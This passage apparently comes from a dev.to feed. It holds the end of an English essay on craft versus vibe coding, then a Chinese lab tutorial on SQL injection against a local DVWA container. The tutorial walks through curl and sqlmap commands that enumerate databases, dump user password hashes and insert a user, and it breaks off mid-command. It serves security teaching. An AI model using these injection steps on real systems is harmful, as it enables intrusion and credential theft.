&lt;strong&gt;Tight control of resources&lt;/strong&gt;: Every byte matters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predictable performance&lt;/strong&gt;: No garbage collector surprises.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example: programming a microcontroller to read a sensor. In Python, you’d import a library and call a function. In embedded C, you’re flipping bits in a memory-mapped register to enable the ADC, setting the sampling rate, and ensuring interrupts fire at the exact time.&lt;/p&gt;

&lt;p&gt;It’s not glamorous. But if you get it wrong, your drone doesn’t stabilize, or your pacemaker misses a heartbeat.&lt;/p&gt;

&lt;p&gt;That’s the difference: in embedded craft, “works on my machine” is not acceptable. It must work deterministically, every time, on the actual hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  ABI: The Hidden Contract That Separates Beginners from Engineers
&lt;/h2&gt;

&lt;p&gt;One concept that really illustrates the craft side is the &lt;strong&gt;Application Binary Interface (ABI)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Most devs know APIs (Application Programming Interfaces)—functions and classes you call in code. An ABI is lower level: it defines how compiled machine code interacts.&lt;/p&gt;

&lt;p&gt;Key ABI rules cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Calling conventions&lt;/strong&gt;: Are function arguments passed in registers or pushed onto the stack?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Register usage&lt;/strong&gt;: Which registers must be preserved across calls?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stack frame layout&lt;/strong&gt;: Where locals and return addresses live.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data representation&lt;/strong&gt;: Endianness, struct padding, alignment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why does this matter? Because if you violate the ABI, your program still &lt;em&gt;compiles&lt;/em&gt;, but it silently breaks at runtime.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Compiler A (ARM EABI) passes the first integer argument in register &lt;code&gt;r0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Compiler B (different convention) pushes it to the stack.
Now imagine linking object files built with these two compilers. Your function calls will misinterpret arguments, corrupt memory, or crash unpredictably.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are the ghosts that haunt embedded engineers. You won’t see them in JavaScript or Python. You only meet them when you drop into disassembly and debug at the machine level.&lt;/p&gt;

&lt;p&gt;Understanding ABIs separates people who can really engineer systems from people who can only script them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Power and Peril of Result Coding
&lt;/h2&gt;

&lt;p&gt;Now, let’s give the Result side its due.&lt;/p&gt;

&lt;p&gt;Python, JavaScript, frontend frameworks—these are the engines of modern software culture. They:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Empower beginners to create quickly.&lt;/li&gt;
&lt;li&gt;Accelerate prototyping and MVPs.&lt;/li&gt;
&lt;li&gt;Fuel the explosion of startups and open-source projects.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what I call &lt;strong&gt;vibe coding&lt;/strong&gt;: code with the energy of experimentation, tutorials, and “see if it runs.”&lt;/p&gt;

&lt;p&gt;And that’s not an insult. Vibe coding has value. It lowers barriers. It democratizes software. It creates more opportunities than ever before. It’s fun, fast, and often enough for many real-world applications.&lt;/p&gt;

&lt;p&gt;But vibe coding also has trade-offs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shortcuts&lt;/strong&gt;: Security and stability are often skipped.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technical debt&lt;/strong&gt;: Quick hacks pile up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shallow understanding&lt;/strong&gt;: Beginners may not learn how systems really work.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mistake is not in vibe coding—it’s in mistaking vibe coding for full craft engineering.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security: The Double-Edged Sword
&lt;/h2&gt;

&lt;p&gt;Here’s the irony: Result coding is a gift to cybersecurity professionals.&lt;/p&gt;

&lt;p&gt;Why? Because speed creates vulnerabilities. And vulnerabilities are doorways.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL injection because user input wasn’t sanitized.&lt;/li&gt;
&lt;li&gt;Hard-coded secrets committed to GitHub.&lt;/li&gt;
&lt;li&gt;Cloud buckets left wide open.&lt;/li&gt;
&lt;li&gt;Debug APIs accidentally exposed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the Craft era, developers were stricter. They worried about buffer overflows, memory safety, and input validation. In today’s Result-first world, it’s common to see security as an afterthought.&lt;/p&gt;

&lt;p&gt;For attackers, this is heaven. For penetration testers, it’s job security. Vibe coders, unintentionally, are the world’s greatest data miners for hackers. They open the doors that others walk through.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Mindset Divide
&lt;/h2&gt;

&lt;p&gt;Ultimately, the difference between Craft and Result is not just languages. It’s mentality.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Result mindset&lt;/strong&gt;: “If it works, ship it.”&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Craft mindset&lt;/strong&gt;: “If I don’t know &lt;em&gt;why&lt;/em&gt; it works, it’s not ready.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result engineers optimize for speed, usability, and market fit. Craft engineers optimize for correctness, stability, and long-term reliability. Both are valid. Both are needed. But they are not interchangeable.&lt;/p&gt;




&lt;h2&gt;
  
  
  AI’s Role on the Spectrum
&lt;/h2&gt;

&lt;p&gt;AI tilts heavily toward the Result side. It’s excellent at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scaffolding code quickly.&lt;/li&gt;
&lt;li&gt;Filling in boilerplate.&lt;/li&gt;
&lt;li&gt;Suggesting bug fixes or style improvements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But AI doesn’t reason about ABIs. It doesn’t guarantee determinism in real-time systems. It doesn’t ensure your embedded C will hit deadlines with zero jitter.&lt;/p&gt;

&lt;p&gt;AI accelerates Result coding but cannot replace Craft engineering. If anything, it makes Craft engineers more valuable, because the more Result-side code floods the world, the more demand there is for people who understand the hard parts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Crossing the Spectrum
&lt;/h2&gt;

&lt;p&gt;So what does this mean for developers?&lt;/p&gt;

&lt;p&gt;If you live in the Result world:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep coding, keep shipping, keep creating.&lt;/li&gt;
&lt;li&gt;But don’t mistake getting something working for understanding the system.&lt;/li&gt;
&lt;li&gt;Be mindful of security and long-term maintainability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you live in the Craft world:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Respect the speed and creativity of Result coding.&lt;/li&gt;
&lt;li&gt;Use it when prototyping or building tooling.&lt;/li&gt;
&lt;li&gt;But don’t compromise your standards when building mission-critical systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if you want to grow as an engineer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cross the spectrum at least once.&lt;/li&gt;
&lt;li&gt;Write C. Debug assembly. Study the ABI. Understand memory alignment and calling conventions.&lt;/li&gt;
&lt;li&gt;Then return to Python, JavaScript, or Rust with deeper intuition.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why It Matters
&lt;/h2&gt;

&lt;p&gt;The divide isn’t about “better” or “worse.” It’s about matching the right mindset to the right problem.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building a quick internal dashboard? Result coding is perfect.&lt;/li&gt;
&lt;li&gt;Writing firmware for a satellite? Craft is non-negotiable.&lt;/li&gt;
&lt;li&gt;Prototyping a machine-learning model? Result tools will get you far.&lt;/li&gt;
&lt;li&gt;Implementing the cryptographic routines that secure that model? Craft all the way.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mistake is when someone only touches Result-side tools and then claims to be an engineer of everything. Engineering requires understanding what’s under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Future
&lt;/h2&gt;

&lt;p&gt;As AI spreads, the Result side will only get easier. More people will code. More software will flood the world. And with that flood will come more vulnerabilities, more fragile systems, and more opportunities for those who understand the Craft side.&lt;/p&gt;

&lt;p&gt;The most powerful developers of the future will not be those who can just prompt AI to generate React components. It will be those who can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dive into low-level layers when things break.&lt;/li&gt;
&lt;li&gt;Guarantee correctness where determinism matters.&lt;/li&gt;
&lt;li&gt;Design secure, efficient systems when millions of lives or billions of dollars depend on it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI will make Result coding cheap. Craft will remain rare and valuable.&lt;/p&gt;

&lt;p&gt;Programming is not easy. It’s not one-size-fits-all. It’s a spectrum—Craft to Result.&lt;/p&gt;

&lt;p&gt;Vibe coders keep the world moving fast. Craft engineers keep it standing when it matters. Neither side exists without the other.&lt;/p&gt;

&lt;p&gt;But if you want to call yourself an engineer, you owe it to yourself to walk the Craft path at least once. To understand what’s really happening beneath the layers of abstraction. To learn why ABIs matter, why embedded systems demand rigor, why stability isn’t optional.&lt;/p&gt;

&lt;p&gt;Because one day, your code won’t just be drawing a button. It will be controlling a machine, protecting sensitive data, or holding the line against attackers.&lt;/p&gt;

&lt;p&gt;And when that day comes, you’ll be glad you learned the craft.&lt;/p&gt;

</description>
      <category>vibecoders</category>
    </item>
    <item>
      <title>SQL 注入、权限提升与 WebShell实战</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sun, 31 Aug 2025 06:39:28 +0000</pubDate>
      <link>https://dev.to/ctkqiang/sql-zhu-ru-quan-xian-ti-sheng-yu-webshellshi-zhan-5d0m</link>
      <guid>https://dev.to/ctkqiang/sql-zhu-ru-quan-xian-ti-sheng-yu-webshellshi-zhan-5d0m</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：本文仅供教育和安全研究使用。&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  准备环境 &amp;amp; Docker 安装
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker.io

docker pull vulnerables/web-dvwa
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 7997:80 vulnerables/web-dvwa

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;访问浏览器：&lt;a href="http://localhost:7997" rel="noopener noreferrer"&gt;http://localhost:7997&lt;/a&gt;&lt;br&gt;
默认账号密码：&lt;code&gt;admin / password&lt;/code&gt;&lt;br&gt;
点击 &lt;strong&gt;Create/Reset Database&lt;/strong&gt; 初始化数据库。&lt;/p&gt;


&lt;h2&gt;
  
  
  布尔注入测试与漏洞验证
&lt;/h2&gt;

&lt;p&gt;在开始之前，我们要确保 SQL 语句在数据库端返回 &lt;code&gt;true&lt;/code&gt; 而不是 &lt;code&gt;false&lt;/code&gt;。通常，当密码错误时，例如 &lt;code&gt;password='123'&lt;/code&gt; 或 &lt;code&gt;password='&lt;/code&gt;'，查询会返回 &lt;code&gt;false&lt;/code&gt;，因为条件不匹配。但如果我们注入 &lt;code&gt;'1'='1'&lt;/code&gt;，这个条件始终为 &lt;code&gt;true&lt;/code&gt;，因为 &lt;code&gt;'1'&lt;/code&gt; 与 &lt;code&gt;'1'&lt;/code&gt; 完全匹配，从而绕过验证。&lt;/p&gt;

&lt;p&gt;输入：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;理论上，后台 SQL 语句可能是：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;页面返回：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sjx7dpb3ezdso4av2ao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sjx7dpb3ezdso4av2ao.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这一步成功验证了 &lt;code&gt;id&lt;/code&gt; 参数存在 SQL 注入漏洞，是整个攻击链的开端。&lt;/p&gt;




&lt;h2&gt;
  
  
  获取 PHPSESSID &amp;amp; 安全级别 Cookie
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrxuxwi7ow2yvnbnmuuy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrxuxwi7ow2yvnbnmuuy.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; http://localhost:7997
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/
Set-Cookie: security=low
Location: login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  curl 验证 SQL 注入点
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhtvjq6ddrq1bqdr7qlx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhtvjq6ddrq1bqdr7qlx.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ID: 1
First name: admin
Surname: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;尝试注入：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ID: 1&lt;span class="s1"&gt;' OR '&lt;/span&gt;1&lt;span class="s1"&gt;'='&lt;/span&gt;1
First name: admin

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  sqlmap 探测注入类型
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;--risk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET parameter 'id' is injectable
Boolean-based blind: payload...
Error-based: payload...
Time-based blind: payload...
UNION query: payload...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  获取数据库列表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xcbkywqg3ndcangvtho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3xcbkywqg3ndcangvtho.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;available databases [2]:
[*] dvwa
[*] information_schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查看 DVWA 表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kox3tua921f1vueh8qt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7kox3tua921f1vueh8qt.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;--tables&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查询用户表
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsap4t1rvoll3rhfbpnu5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsap4t1rvoll3rhfbpnu5.png" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM dvwa.users;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3
[*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1
[*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2
[*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4
[*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  创建新用户
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--sql-query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"INSERT INTO dvwa.users (user, avatar, first_name, user_id, password) 
VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  查询权限
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:7997/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
